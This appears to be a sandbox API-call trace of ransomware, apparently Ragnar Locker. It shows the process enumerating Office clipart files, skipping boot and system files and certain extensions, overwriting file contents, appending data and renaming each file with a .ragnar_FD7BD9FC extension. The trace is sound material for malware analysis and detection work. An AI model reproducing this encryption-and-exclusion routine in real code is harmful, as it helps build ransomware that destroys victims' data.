lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153095.WMF" | out: lpString1="J0153095.WMF") returned="J0153095.WMF" [0085.037] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned=".WMF" [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="autorun.inf") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="boot.ini") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="bootfont.bin") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="bootsect.bak") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="bootmgr") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="bootmgr.efi") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="bootmgfw.efi") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="desktop.ini") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="iconcache.db") returned 1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="ntldr") returned -1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="ntuser.dat") returned -1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="ntuser.dat.log") returned -1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="ntuser.ini") returned -1 [0085.037] lstrcmpiW (lpString1="J0153095.WMF", lpString2="thumbs.db") returned -1 [0085.037] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.037] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.037] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.037] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.037] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.038] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.038] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 0x20 [0085.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.038] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3704) returned 1 [0085.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.038] GetProcessHeap () returned 0x580000 [0085.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.038] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.040] VirtualAlloc (lpAddress=0x0, dwSize=0xe78, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.040] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe78, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe78, lpOverlapped=0x0) returned 1 [0085.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.040] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe78, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.040] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe78, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe78, lpOverlapped=0x0) returned 1 [0085.040] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.040] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.041] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.041] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.041] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.041] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.041] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.041] GetProcessHeap () returned 0x580000 [0085.041] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.041] CloseHandle (hObject=0xf4) returned 1 [0085.041] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" [0085.041] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.ragnar_FD7BD9FC" [0085.041] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.042] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0085.042] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.042] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153265.WMF" | out: lpString1="J0153265.WMF") returned="J0153265.WMF" [0085.042] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned=".WMF" [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="autorun.inf") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="boot.ini") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="bootfont.bin") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="bootsect.bak") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="bootmgr") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="bootmgr.efi") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="bootmgfw.efi") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="desktop.ini") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="iconcache.db") returned 1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="ntldr") returned -1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="ntuser.dat") returned -1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="ntuser.dat.log") returned -1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="ntuser.ini") returned -1 [0085.042] lstrcmpiW (lpString1="J0153265.WMF", lpString2="thumbs.db") returned -1 [0085.042] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.042] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.042] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.042] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.042] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.042] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.042] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 0x20 [0085.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.043] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3008) returned 1 [0085.043] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.043] GetProcessHeap () returned 0x580000 [0085.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.043] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.045] VirtualAlloc (lpAddress=0x0, dwSize=0xbc0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.045] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbc0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbc0, lpOverlapped=0x0) returned 1 [0085.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.045] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.045] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbc0, lpOverlapped=0x0) returned 1 [0085.045] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.045] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.045] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.046] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.046] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.046] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.046] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.046] GetProcessHeap () returned 0x580000 [0085.046] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.046] CloseHandle (hObject=0xf4) returned 1 [0085.046] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" [0085.046] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.ragnar_FD7BD9FC" [0085.046] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.047] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0085.047] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.047] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153273.WMF" | out: lpString1="J0153273.WMF") returned="J0153273.WMF" [0085.047] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned=".WMF" [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="autorun.inf") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="boot.ini") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="bootfont.bin") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="bootsect.bak") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="bootmgr") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="bootmgr.efi") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="bootmgfw.efi") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="desktop.ini") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="iconcache.db") returned 1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="ntldr") returned -1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="ntuser.dat") returned -1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="ntuser.dat.log") returned -1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="ntuser.ini") returned -1 [0085.047] lstrcmpiW (lpString1="J0153273.WMF", lpString2="thumbs.db") returned -1 [0085.047] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.047] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.047] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.047] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.047] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.047] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.047] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 0x20 [0085.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.048] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20096) returned 1 [0085.048] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.048] GetProcessHeap () returned 0x580000 [0085.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.048] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.050] VirtualAlloc (lpAddress=0x0, dwSize=0x4e80, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.050] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4e80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4e80, lpOverlapped=0x0) returned 1 [0085.051] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.051] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e80, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.051] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4e80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4e80, lpOverlapped=0x0) returned 1 [0085.052] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.052] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.052] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.052] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.052] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.052] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.052] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.052] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.052] GetProcessHeap () returned 0x580000 [0085.052] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.053] CloseHandle (hObject=0xf4) returned 1 [0085.053] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" [0085.053] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.ragnar_FD7BD9FC" [0085.053] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.053] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0085.053] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.053] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153299.WMF" | out: lpString1="J0153299.WMF") returned="J0153299.WMF" [0085.053] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned=".WMF" [0085.053] lstrcmpiW (lpString1="J0153299.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.053] lstrcmpiW (lpString1="J0153299.WMF", lpString2="autorun.inf") returned 1 [0085.053] lstrcmpiW (lpString1="J0153299.WMF", lpString2="boot.ini") returned 1 [0085.053] lstrcmpiW (lpString1="J0153299.WMF", lpString2="bootfont.bin") returned 1 [0085.053] lstrcmpiW (lpString1="J0153299.WMF", lpString2="bootsect.bak") returned 1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="bootmgr") returned 1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="bootmgr.efi") returned 1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="bootmgfw.efi") returned 1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="desktop.ini") returned 1 [0085.054] lstrcmpiW 